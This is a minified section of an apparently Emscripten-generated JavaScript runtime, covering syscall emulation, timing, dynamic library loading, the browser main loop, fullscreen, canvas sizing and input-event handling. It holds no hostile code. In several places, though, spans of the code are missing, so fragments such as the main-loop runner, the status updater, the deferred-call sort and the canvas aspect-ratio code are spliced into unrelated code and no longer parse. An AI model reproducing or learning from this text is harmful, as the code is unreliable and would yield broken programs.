path=SYSCALLS.getStr(),size=SYSCALLS.get(),buf=SYSCALLS.get();assert(size===64);HEAP32[buf+4>>2]=4096;HEAP32[buf+40>>2]=4096;HEAP32[buf+8>>2]=1e6;HEAP32[buf+12>>2]=5e5;HEAP32[buf+16>>2]=5e5;HEAP32[buf+20>>2]=FS.nextInode;HEAP32[buf+24>>2]=1e6;HEAP32[buf+28>>2]=42;HEAP32[buf+44>>2]=2;HEAP32[buf+36>>2]=255;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall3(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.read(stream,HEAP8,buf,count)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall33(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),amode=SYSCALLS.get();return SYSCALLS.doAccess(path,amode)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall38(which,varargs){SYSCALLS.varargs=varargs;try{var old_path=SYSCALLS.getStr(),new_path=SYSCALLS.getStr();FS.rename(old_path,new_path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall39(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),mode=SYSCALLS.get();return SYSCALLS.doMkdir(path,mode)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall4(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),buf=SYSCALLS.get(),count=SYSCALLS.get();return FS.write(stream,HEAP8,buf,count)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall40(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.rmdir(path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall5(which,varargs){SYSCALLS.varargs=varargs;try{var pathname=SYSCALLS.getStr(),flags=SYSCALLS.get(),mode=SYSCALLS.get();var stream=FS.open(pathname,flags,mode);return stream.fd}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall54(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD(),op=SYSCALLS.get();switch(op){case 21509:case 21505:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21510:case 21511:case 21512:case 21506:case 21507:case 21508:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21519:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;var argp=SYSCALLS.get();HEAP32[argp>>2]=0;return 0};case 21520:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return-ERRNO_CODES.EINVAL};case 21531:{var argp=SYSCALLS.get();return FS.ioctl(stream,op,argp)};case 21523:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};case 21524:{if(!stream.tty)return-ERRNO_CODES.ENOTTY;return 0};default:abort("bad ioctl syscall "+op)}}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall6(which,varargs){SYSCALLS.varargs=varargs;try{var stream=SYSCALLS.getStreamFromFD();FS.close(stream);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall77(which,varargs){SYSCALLS.varargs=varargs;try{var who=SYSCALLS.get(),usage=SYSCALLS.get();_memset(usage,0,136);HEAP32[usage>>2]=1;HEAP32[usage+4>>2]=2;HEAP32[usage+8>>2]=3;HEAP32[usage+12>>2]=4;return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall85(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr(),buf=SYSCALLS.get(),bufsize=SYSCALLS.get();return SYSCALLS.doReadlink(path,buf,bufsize)}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___syscall91(which,varargs){SYSCALLS.varargs=varargs;try{var addr=SYSCALLS.get(),len=SYSCALLS.get();var info=SYSCALLS.mappings[addr];if(!info)return 0;if(len===info.len){var stream=FS.getStream(info.fd);SYSCALLS.doMsync(addr,stream,len,info.flags);FS.munmap(stream);SYSCALLS.mappings[addr]=null;if(info.allocated){_free(info.malloc)}}return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}function ___unlock(){}function _abort(){Module["abort"]()}function _atexit(func,arg){__ATEXIT__.unshift({func:func,arg:arg})}function _clock(){if(_clock.start===undefined)_clock.start=Date.now();return(Date.now()-_clock.start)*(1e6/1e3)|0}function _emscripten_get_now_res(){if(ENVIRONMENT_IS_NODE){return 1}else if(typeof dateNow!=="undefined"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]){return 1e3}else{return 1e3*1e3}}function _emscripten_get_now(){abort()}function _emscripten_get_now_is_monotonic(){return ENVIRONMENT_IS_NODE||typeof dateNow!=="undefined"||(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER)&&self["performance"]&&self["performance"]["now"]}function _clock_getres(clk_id,res){var nsec;if(clk_id===0){nsec=1e3*1e3}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){nsec=_emscripten_get_now_res()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[res>>2]=nsec/1e9|0;HEAP32[res+4>>2]=nsec;return 0}function _clock_gettime(clk_id,tp){var now;if(clk_id===0){now=Date.now()}else if(clk_id===1&&_emscripten_get_now_is_monotonic()){now=_emscripten_get_now()}else{___setErrNo(ERRNO_CODES.EINVAL);return-1}HEAP32[tp>>2]=now/1e3|0;HEAP32[tp+4>>2]=now%1e3*1e3*1e3|0;return 0}function _difftime(time1,time0){return time1-time0}var DLFCN={error:null,errorMsg:null,loadedLibs:{},loadedLibNames:{}};function _dlclose(handle){if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg="Tried to dlclose() unopened handle: "+handle;return 1}else{var lib_record=DLFCN.loadedLibs[handle];if(--lib_record.refcount==0){if(lib_record.module.cleanups){lib_record.module.cleanups.forEach((function(cleanup){cleanup()}))}delete DLFCN.loadedLibNames[lib_record.name];delete DLFCN.loadedLibs[handle]}return 0}}function _dlopen(filename,flag){abort("To use dlopen, you need to use Emscripten's linking support, see https://github.com/kripken/emscripten/wiki/Linking");var searchpaths=[];if(filename===0){filename="__self__"}else{var strfilename=Pointer_stringify(filename);var isValidFile=(function(filename){var target=FS.findObject(filename);return target&&!target.isFolder&&!target.isDevice});if(isValidFile(strfilename)){filename=strfilename}else{if(ENV["LD_LIBRARY_PATH"]){searchpaths=ENV["LD_LIBRARY_PATH"].split(":")}for(var ident in searchpaths){var searchfile=PATH.join2(searchpaths[ident],strfilename);if(isValidFile(searchfile)){filename=searchfile;break}}}}if(DLFCN.loadedLibNames[filename]){var handle=DLFCN.loadedLibNames[filename];DLFCN.loadedLibs[handle].refcount++;return handle}var lib_module;if(filename==="__self__"){var handle=-1;lib_module=Module}else{if(Module["preloadedWasm"]!==undefined&&Module["preloadedWasm"][filename]!==undefined){lib_module=Module["preloadedWasm"][filename]}else{var target=FS.findObject(filename);if(!target||target.isFolder||target.isDevice){DLFCN.errorMsg="Could not find dynamic lib: "+filename;return 0}FS.forceLoadFile(target);try{var lib_data=FS.readFile(filename,{encoding:"binary"});if(!(lib_data instanceof Uint8Array))lib_data=new Uint8Array(lib_data);lib_module=loadWebAssemblyModule(lib_data)}catch(e){DLFCN.errorMsg="Could not evaluate dynamic lib: "+filename+"\n"+e;return 0}}var handle=1;for(var key in DLFCN.loadedLibs){if(DLFCN.loadedLibs.hasOwnProperty(key))handle++}if(flag&256){for(var ident in lib_module){if(lib_module.hasOwnProperty(ident)){if(ident[0]=="_"){Module[ident]=lib_module[ident]}}}}}DLFCN.loadedLibs[handle]={refcount:1,name:filename,module:lib_module};DLFCN.loadedLibNames[filename]=handle;return handle}function _dlsym(handle,symbol){symbol=Pointer_stringify(symbol);if(!DLFCN.loadedLibs[handle]){DLFCN.errorMsg="Tried to dlsym() from an unopened handle: "+handle;return 0}else{var lib=DLFCN.loadedLibs[handle];symbol="_"+symbol;if(!lib.module.hasOwnProperty(symbol)){DLFCN.errorMsg='Tried to lookup unknown symbol "'+symbol+'" in dynamic lib: '+lib.name;return 0}else{var result=lib.module[symbol];if(typeof result==="function"){return addFunction(result)}return result}}}function _emscripten_set_main_loop_timing(mode,value){Browser.mainLoop.timingMode=mode;Browser.mainLoop.timingValue=value;if(!Browser.mainLoop.func){return 1}if(mode==0){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setTimeout(){var timeUntilNextTick=Math.max(0,Browser.mainLoop.tickStartTime+value-_emscripten_get_now())|0;setTimeout(Browser.mainLoop.runner,timeUntilNextTick)};Browser.mainLoop.method="timeout"}else if(mode==1){Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_rAF(){Browser.requestAnimationFrame(Browser.mainLoop.runner)};Browser.mainLoop.method="rAF"}else if(mode==2){if(typeof setImmediate==="undefined"){var setImmediates=[];var emscriptenMainLoopMessageId="setimmediate";function Browser_setImmediate_messageHandler(event){if(event.data===emscriptenMainLoopMessageId||event.data.target===emscriptenMainLoopMessageId){event.stopPropagation();setImmediates.shift()()}}addEventListener("message",Browser_setImmediate_messageHandler,true);setImmediate=function Browser_emulated_setImmediate(func){setImmediates.push(func);if(ENVIRONMENT_IS_WORKER){if(Module["setImmediates"]===undefined)Module["setImmediates"]=[];Module["setImmediates"].push(func);postMessage({target:emscriptenMainLoopMessageId})}else postMessage(emscriptenMainLoopMessageId,"*")}}Browser.mainLoop.scheduler=function Browser_mainLoop_scheduler_setImmediate(){setImmediate(Browser.mainLoop.runner)};Browser.mainLoop.method="immediate"}return 0}function _emscripten_set_main_loop(func,fps,simulateInfiniteLoop,arg,noSetTiming){Module["noExitRuntime"]=true;assert(!Browser.mainLoop.func,"emscripten_set_main_loop: there can only be one main loop function at once: call emscripten_cancel_main_loop to cancel the previous one before setting a new one with different parameters.");Browser.mainLoop.func=func;Browser.mainLoop.arg=arg;var browserIterationFunc;if(typeof arg!=="undefined"){browserIterationFunc=(function(){Module["dynCall_vi"](func,arg)})}else{browserIterationFunc=(function(){Module["dynCall_v"](func)})}var thisMainLoopId=Browser.mainLoop.currentlyRunningMainloop;Browser.mainLoop.runner=function Browser_mainLoop_runner(){if(ABORT)return;if(Browser.mainLoop.queue.length>0){var start=Date.now();var blocker=Browser.mainLoop.queue.shift();blocker.func(blocker.arg);if(Browser.mainLoop.remainingBlockers){var remaining=Browser.mainLoop.remainingBlockers;var next=remaining%1==0?remaining-1:Math.floor(remaining);if(blocker.counted){Browser.mainLoop.remainingBlockers=next}else{next=next+.5;Browser.mainLoop.remainingBlockers=(8*remaining+next)/9}}console.log('main loop blocker "'+blocker.name+'" took '+(Date.now()-start)+" ms");Browser.mainLoop.updateStatus();if(thisMainLoopId1&&Browser.mainLoop.currentFrameNumber%Browser.mainLoop.timingValue!=0){Browser.mainLoop.scheduler();return}else if(Browser.mainLoop.timingMode==0){Browser.mainLoop.tickStartTime=_emscripten_get_now()}if(Browser.mainLoop.method==="timeout"&&Module.ctx){err("Looks like you are rendering without using requestAnimationFrame for the main loop. You should use 0 for the frame rate in emscripten_set_main_loop in order to use requestAnimationFrame, as that can greatly improve your frame rates!");Browser.mainLoop.method=""}Browser.mainLoop.runIter(browserIterationFunc);if(thisMainLoopId0)_emscripten_set_main_loop_timing(0,1e3/fps);else _emscripten_set_main_loop_timing(1,1);Browser.mainLoop.scheduler()}if(simulateInfiniteLoop){throw"SimulateInfiniteLoop"}}var Browser={mainLoop:{scheduler:null,method:"",currentlyRunningMainloop:0,func:null,arg:0,timingMode:0,timingValue:0,currentFrameNumber:0,queue:[],pause:(function(){Browser.mainLoop.scheduler=null;Browser.mainLoop.currentlyRunningMainloop++}),resume:(function(){Browser.mainLoop.currentlyRunningMainloop++;var timingMode=Browser.mainLoop.timingMode;var timingValue=Browser.mainLoop.timingValue;var func=Browser.mainLoop.func;Browser.mainLoop.func=null;_emscripten_set_main_loop(func,0,false,Browser.mainLoop.arg,true);_emscripten_set_main_loop_timing(timingMode,timingValue);Browser.mainLoop.scheduler()}),updateStatus:(function(){if(Module["setStatus"]){var message=Module["statusMessage"]||"Please wait...";var remaining=Browser.mainLoop.remainingBlockers;var expected=Browser.mainLoop.expectedBlockers;if(remaining){if(remaining=6){var curr=leftchar>>leftbits-6&63;leftbits-=6;ret+=BASE[curr]}}if(leftbits==2){ret+=BASE[(leftchar&3)<<4];ret+=PAD+PAD}else if(leftbits==4){ret+=BASE[(leftchar&15)<<2];ret+=PAD}return ret}audio.src="data:audio/x-"+name.substr(-3)+";base64,"+encode64(byteArray);finish(audio)};audio.src=url;Browser.safeSetTimeout((function(){finish(audio)}),1e4)}else{return fail()}};Module["preloadPlugins"].push(audioPlugin);function pointerLockChange(){Browser.pointerLock=document["pointerLockElement"]===Module["canvas"]||document["mozPointerLockElement"]===Module["canvas"]||document["webkitPointerLockElement"]===Module["canvas"]||document["msPointerLockElement"]===Module["canvas"]}var canvas=Module["canvas"];if(canvas){canvas.requestPointerLock=canvas["requestPointerLock"]||canvas["mozRequestPointerLock"]||canvas["webkitRequestPointerLock"]||canvas["msRequestPointerLock"]||(function(){});canvas.exitPointerLock=document["exitPointerLock"]||document["mozExitPointerLock"]||document["webkitExitPointerLock"]||document["msExitPointerLock"]||(function(){});canvas.exitPointerLock=canvas.exitPointerLock.bind(document);document.addEventListener("pointerlockchange",pointerLockChange,false);document.addEventListener("mozpointerlockchange",pointerLockChange,false);document.addEventListener("webkitpointerlockchange",pointerLockChange,false);document.addEventListener("mspointerlockchange",pointerLockChange,false);if(Module["elementPointerLock"]){canvas.addEventListener("click",(function(ev){if(!Browser.pointerLock&&Module["canvas"].requestPointerLock){Module["canvas"].requestPointerLock();ev.preventDefault()}}),false)}}}),createContext:(function(canvas,useWebGL,setInModule,webGLContextAttributes){if(useWebGL&&Module.ctx&&canvas==Module.canvas)return Module.ctx;var ctx;var contextHandle;if(useWebGL){var contextAttributes={antialias:false,alpha:false};if(webGLContextAttributes){for(var attribute in webGLContextAttributes){contextAttributes[attribute]=webGLContextAttributes[attribute]}}contextHandle=GL.createContext(canvas,contextAttributes);if(contextHandle){ctx=GL.getContext(contextHandle).GLctx}}else{ctx=canvas.getContext("2d")}if(!ctx)return null;if(setInModule){if(!useWebGL)assert(typeof GLctx==="undefined","cannot set in module if GLctx is used, but we are a non-GL context that would replace it");Module.ctx=ctx;if(useWebGL)GL.makeContextCurrent(contextHandle);Module.useWebGL=useWebGL;Browser.moduleContextCreatedCallbacks.forEach((function(callback){callback()}));Browser.init()}return ctx}),destroyContext:(function(canvas,useWebGL,setInModule){}),fullscreenHandlersInstalled:false,lockPointer:undefined,resizeCanvas:undefined,requestFullscreen:(function(lockPointer,resizeCanvas,vrDevice){Browser.lockPointer=lockPointer;Browser.resizeCanvas=resizeCanvas;Browser.vrDevice=vrDevice;if(typeof Browser.lockPointer==="undefined")Browser.lockPointer=true;if(typeof Browser.resizeCanvas==="undefined")Browser.resizeCanvas=false;if(typeof Browser.vrDevice==="undefined")Browser.vrDevice=null;var canvas=Module["canvas"];function fullscreenChange(){Browser.isFullscreen=false;var canvasContainer=canvas.parentNode;if((document["fullscreenElement"]||document["mozFullScreenElement"]||document["msFullscreenElement"]||document["webkitFullscreenElement"]||document["webkitCurrentFullScreenElement"])===canvasContainer){canvas.exitFullscreen=document["exitFullscreen"]||document["cancelFullScreen"]||document["mozCancelFullScreen"]||document["msExitFullscreen"]||document["webkitCancelFullScreen"]||(function(){});canvas.exitFullscreen=canvas.exitFullscreen.bind(document);if(Browser.lockPointer)canvas.requestPointerLock();Browser.isFullscreen=true;if(Browser.resizeCanvas){Browser.setFullscreenCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}else{canvasContainer.parentNode.insertBefore(canvas,canvasContainer);canvasContainer.parentNode.removeChild(canvasContainer);if(Browser.resizeCanvas){Browser.setWindowedCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}if(Module["onFullScreen"])Module["onFullScreen"](Browser.isFullscreen);if(Module["onFullscreen"])Module["onFullscreen"](Browser.isFullscreen)}if(!Browser.fullscreenHandlersInstalled){Browser.fullscreenHandlersInstalled=true;document.addEventListener("fullscreenchange",fullscreenChange,false);document.addEventListener("mozfullscreenchange",fullscreenChange,false);document.addEventListener("webkitfullscreenchange",fullscreenChange,false);document.addEventListener("MSFullscreenChange",fullscreenChange,false)}var canvasContainer=document.createElement("div");canvas.parentNode.insertBefore(canvasContainer,canvas);canvasContainer.appendChild(canvas);canvasContainer.requestFullscreen=canvasContainer["requestFullscreen"]||canvasContainer["mozRequestFullScreen"]||canvasContainer["msRequestFullscreen"]||(canvasContainer["webkitRequestFullscreen"]?(function(){canvasContainer["webkitRequestFullscreen"](Element["ALLOW_KEYBOARD_INPUT"])}):null)||(canvasContainer["webkitRequestFullScreen"]?(function(){canvasContainer["webkitRequestFullScreen"](Element["ALLOW_KEYBOARD_INPUT"])}):null);if(vrDevice){canvasContainer.requestFullscreen({vrDisplay:vrDevice})}else{canvasContainer.requestFullscreen()}}),requestFullScreen:(function(lockPointer,resizeCanvas,vrDevice){err("Browser.requestFullScreen() is deprecated. Please call Browser.requestFullscreen instead.");Browser.requestFullScreen=(function(lockPointer,resizeCanvas,vrDevice){return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)});return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)}),nextRAF:0,fakeRequestAnimationFrame:(function(func){var now=Date.now();if(Browser.nextRAF===0){Browser.nextRAF=now+1e3/60}else{while(now+2>=Browser.nextRAF){Browser.nextRAF+=1e3/60}}var delay=Math.max(Browser.nextRAF-now,0);setTimeout(func,delay)}),requestAnimationFrame:function requestAnimationFrame(func){if(typeof window==="undefined"){Browser.fakeRequestAnimationFrame(func)}else{if(!window.requestAnimationFrame){window.requestAnimationFrame=window["requestAnimationFrame"]||window["mozRequestAnimationFrame"]||window["webkitRequestAnimationFrame"]||window["msRequestAnimationFrame"]||window["oRequestAnimationFrame"]||Browser.fakeRequestAnimationFrame}window.requestAnimationFrame(func)}},safeCallback:(function(func){return(function(){if(!ABORT)return func.apply(null,arguments)})}),allowAsyncCallbacks:true,queuedAsyncCallbacks:[],pauseAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=false}),resumeAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=true;if(Browser.queuedAsyncCallbacks.length>0){var callbacks=Browser.queuedAsyncCallbacks;Browser.queuedAsyncCallbacks=[];callbacks.forEach((function(func){func()}))}}),safeRequestAnimationFrame:(function(func){return Browser.requestAnimationFrame((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}))}),safeSetTimeout:(function(func,timeout){Module["noExitRuntime"]=true;return setTimeout((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}),timeout)}),safeSetInterval:(function(func,timeout){Module["noExitRuntime"]=true;return setInterval((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}}),timeout)}),getMimetype:(function(name){return{"jpg":"image/jpeg","jpeg":"image/jpeg","png":"image/png","bmp":"image/bmp","ogg":"audio/ogg","wav":"audio/wav","mp3":"audio/mpeg"}[name.substr(name.lastIndexOf(".")+1)]}),getUserMedia:(function(func){if(!window.getUserMedia){window.getUserMedia=navigator["getUserMedia"]||navigator["mozGetUserMedia"]}window.getUserMedia(func)}),getMovementX:(function(event){return event["movementX"]||event["mozMovementX"]||event["webkitMovementX"]||0}),getMovementY:(function(event){return event["movementY"]||event["mozMovementY"]||event["webkitMovementY"]||0}),getMouseWheelDelta:(function(event){var delta=0;switch(event.type){case"DOMMouseScroll":delta=event.detail;break;case"mousewheel":delta=event.wheelDelta;break;case"wheel":delta=event["deltaY"];break;default:throw"unrecognized mouse wheel event: "+event.type}return delta}),mouseX:0,mouseY:0,mouseMovementX:0,mouseMovementY:0,touches:{},lastTouches:{},calculateMouseEvent:(function(event){if(Browser.pointerLock){if(event.type!="mousemove"&&"mozMovementX"in event){Browser.mouseMovementX=Browser.mouseMovementY=0}else{Browser.mouseMovementX=Browser.getMovementX(event);Browser.mouseMovementY=Browser.getMovementY(event)}if(typeof SDL!="undefined"){Browser.mouseX=SDL.mouseX+Browser.mouseMovementX;Browser.mouseY=SDL.mouseY+Browser.mouseMovementY}else{Browser.mouseX+=Browser.mouseMovementX;Browser.mouseY+=Browser.mouseMovementY}}else{var rect=Module["canvas"].getBoundingClientRect();var cw=Module["canvas"].width;var ch=Module["canvas"].height;var scrollX=typeof window.scrollX!=="undefined"?window.scrollX:window.pageXOffset;var scrollY=typeof window.scrollY!=="undefined"?window.scrollY:window.pageYOffset;if(event.type==="touchstart"||event.type==="touchend"||event.type==="touchmove"){var touch=event.touch;if(touch===undefined){return}var adjustedX=touch.pageX-(scrollX+rect.left);var adjustedY=touch.pageY-(scrollY+rect.top);adjustedX=adjustedX*(cw/rect.width);adjustedY=adjustedY*(ch/rect.height);var coords={x:adjustedX,y:adjustedY};if(event.type==="touchstart"){Browser.lastTouches[touch.identifier]=coords;Browser.touches[touch.identifier]=coords}else if(event.type==="touchend"||event.type==="touchmove"){var last=Browser.touches[touch.identifier];if(!last)last=coords;Browser.lastTouches[touch.identifier]=last;Browser.touches[touch.identifier]=coords}return}var x=event.pageX-(scrollX+rect.left);var y=event.pageY-(scrollY+rect.top);x=x*(cw/rect.width);y=y*(ch/rect.height);Browser.mouseMovementX=x-Browser.mouseX;Browser.mouseMovementY=y-Browser.mouseY;Browser.mouseX=x;Browser.mouseY=y}}),asyncLoad:(function(url,onload,onerror,noRunDep){var dep=!noRunDep?getUniqueRunDependency("al "+url):"";Module["readAsync"](url,(function(arrayBuffer){assert(arrayBuffer,'Loading data file "'+url+'" failed (no arrayBuffer).');onload(new Uint8Array(arrayBuffer));if(dep)removeRunDependency(dep)}),(function(event){if(onerror){onerror()}else{throw'Loading data file "'+url+'" failed.'}}));if(dep)addRunDependency(dep)}),resizeListeners:[],updateResizeListeners:(function(){var canvas=Module["canvas"];Browser.resizeListeners.forEach((function(listener){listener(canvas.width,canvas.height)}))}),setCanvasSize:(function(width,height,noUpdates){var canvas=Module["canvas"];Browser.updateCanvasDimensions(canvas,width,height);if(!noUpdates)Browser.updateResizeListeners()}),windowedWidth:0,windowedHeight:0,setFullscreenCanvasSize:(function(){if(typeof SDL!="undefined"){var flags=HEAPU32[SDL.screen>>2];flags=flags|8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module["canvas"]);Browser.updateResizeListeners()}),setWindowedCanvasSize:(function(){if(typeof SDL!="undefined"){var flags=HEAPU32[SDL.screen>>2];flags=flags&~8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module["canvas"]);Browser.updateResizeListeners()}),updateCanvasDimensions:(function(canvas,wNative,hNative){if(wNative&&hNative){canvas.widthNative=wNative;canvas.heightNative=hNative}else{wNative=canvas.widthNative;hNative=canvas.heightNative}var w=wNative;var h=hNative;if(Module["forcedAspectRatio"]&&Module["forcedAspectRatio"]>0){if(w/h>2]=width;HEAP32[canvas.canvasSharedPtr+4>>2]=height}if(canvas.offscreenCanvas||!canvas.controlTransferredOffscreen){if(canvas.offscreenCanvas)canvas=canvas.offscreenCanvas;var autoResizeViewport=false;if(canvas.GLctxObject&&canvas.GLctxObject.GLctx){var prevViewport=canvas.GLctxObject.GLctx.getParameter(canvas.GLctxObject.GLctx.VIEWPORT);autoResizeViewport=prevViewport[0]===0&&prevViewport[1]===0&&prevViewport[2]===canvas.width&&prevViewport[3]===canvas.height}canvas.width=width;canvas.height=height;if(autoResizeViewport){canvas.GLctxObject.GLctx.viewport(0,0,width,height)}}else{return-4}return 0}function _emscripten_set_canvas_element_size_main_thread(target,width,height){return _emscripten_set_canvas_element_size_calling_thread(target,width,height)}function _emscripten_set_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_set_canvas_element_size_calling_thread(target,width,height);else return _emscripten_set_canvas_element_size_main_thread(target,width,height)}function emscripten_set_canvas_element_size_js(target,width,height){if(typeof target==="string"){var stackTop=stackSave();var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);var ret=_emscripten_set_canvas_element_size(targetInt,width,height);stackRestore(stackTop);return ret}else{return _emscripten_set_canvas_element_size(target,width,height)}}function _emscripten_get_canvas_element_size_calling_thread(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(!canvas)return-4;if(canvas.canvasSharedPtr){var w=HEAP32[canvas.canvasSharedPtr>>2];var h=HEAP32[canvas.canvasSharedPtr+4>>2];HEAP32[width>>2]=w;HEAP32[height>>2]=h}else if(canvas.offscreenCanvas){HEAP32[width>>2]=canvas.offscreenCanvas.width;HEAP32[height>>2]=canvas.offscreenCanvas.height}else if(!canvas.controlTransferredOffscreen){HEAP32[width>>2]=canvas.width;HEAP32[height>>2]=canvas.height}else{return-4}return 0}function _emscripten_get_canvas_element_size_main_thread(target,width,height){return _emscripten_get_canvas_element_size_calling_thread(target,width,height)}function _emscripten_get_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_get_canvas_element_size_calling_thread(target,width,height);else return _emscripten_get_canvas_element_size_main_thread(target,width,height)}function emscripten_get_canvas_element_size_js(target){var stackTop=stackSave();var w=stackAlloc(8);var h=w+4;if(typeof target==="string"){var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);target=targetInt}var ret=_emscripten_get_canvas_element_size(target,w,h);var size=[HEAP32[w>>2],HEAP32[h>>2]];stackRestore(stackTop);return size}var JSEvents={keyEvent:0,mouseEvent:0,wheelEvent:0,uiEvent:0,focusEvent:0,deviceOrientationEvent:0,deviceMotionEvent:0,fullscreenChangeEvent:0,pointerlockChangeEvent:0,visibilityChangeEvent:0,touchEvent:0,lastGamepadState:null,lastGamepadStateFrame:null,numGamepadsConnected:0,previousFullscreenElement:null,previousScreenX:null,previousScreenY:null,removeEventListenersRegistered:false,_onGamepadConnected:(function(){++JSEvents.numGamepadsConnected}),_onGamepadDisconnected:(function(){--JSEvents.numGamepadsConnected}),staticInit:(function(){if(typeof window!=="undefined"){window.addEventListener("gamepadconnected",JSEvents._onGamepadConnected);window.addEventListener("gamepaddisconnected",JSEvents._onGamepadDisconnected);var firstState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads():null;if(firstState){JSEvents.numGamepadsConnected=firstState.length}}}),removeAllEventListeners:(function(){for(var i=JSEvents.eventHandlers.length-1;i>=0;--i){JSEvents._removeHandler(i)}JSEvents.eventHandlers=[];JSEvents.deferredCalls=[];window.removeEventListener("gamepadconnected",JSEvents._onGamepadConnected);window.removeEventListener("gamepaddisconnected",JSEvents._onGamepadDisconnected)}),registerRemoveEventListeners:(function(){if(!JSEvents.removeEventListenersRegistered){__ATEXIT__.push(JSEvents.removeAllEventListeners);JSEvents.removeEventListenersRegistered=true}}),findEventTarget:(function(target){try{if(!target)return window;if(typeof target==="number")target=Pointer_stringify(target);if(target==="#window")return window;else if(target==="#document")return document;else if(target==="#screen")return window.screen;else if(target==="#canvas")return Module["canvas"];return typeof target==="string"?document.getElementById(target):target}catch(e){return null}}),findCanvasEventTarget:(function(target){if(typeof target==="number")target=Pointer_stringify(target);if(!target||target==="#canvas"){if(typeof GL!=="undefined"&&GL.offscreenCanvases["canvas"])return GL.offscreenCanvases["canvas"];return Module["canvas"]}if(typeof GL!=="undefined"&&GL.offscreenCanvases[target])return GL.offscreenCanvases[target];return JSEvents.findEventTarget(target)}),deferredCalls:[],deferCall:(function(targetFunction,precedence,argsList){function arraysHaveEqualContent(arrA,arrB){if(arrA.length!=arrB.length)return false;for(var i in arrA){if(arrA[i]!=arrB[i])return false}return true}for(var i in JSEvents.deferredCalls){var call=JSEvents.deferredCalls[i];if(call.targetFunction==targetFunction&&arraysHaveEqualContent(call.argsList,argsList)){return}}JSEvents.deferredCalls.push({targetFunction:targetFunction,precedence:precedence,argsList:argsList});JSEvents.deferredCalls.sort((function(x,y){return x.precedence0}),removeAllHandlersOnTarget:(function(target,eventTypeString){for(var i=0;i>2]=e.location;HEAP32[keyEventData+68>>2]=e.ctrlKey;HEAP32[keyEventData+72>>2]=e.shiftKey;HEAP32[keyEventData+76>>2]=e.altKey;HEAP32[keyEventData+80>>2]=e.metaKey;HEAP32[keyEventData+84>>2]=e.repeat;stringToUTF8(e.locale?e.locale:"",keyEventData+88,32);stringToUTF8(e.char?e.char:"",keyEventData+120,32);HEAP32[keyEventData+152>>2]=e.charCode;HEAP32[keyEventData+156>>2]=e.keyCode;HEAP32[keyEventData+160>>2]=e.which;if(Module["dynCall_iiii"](callbackfunc,eventTypeId,keyEventData,userData))e.preventDefault()});var 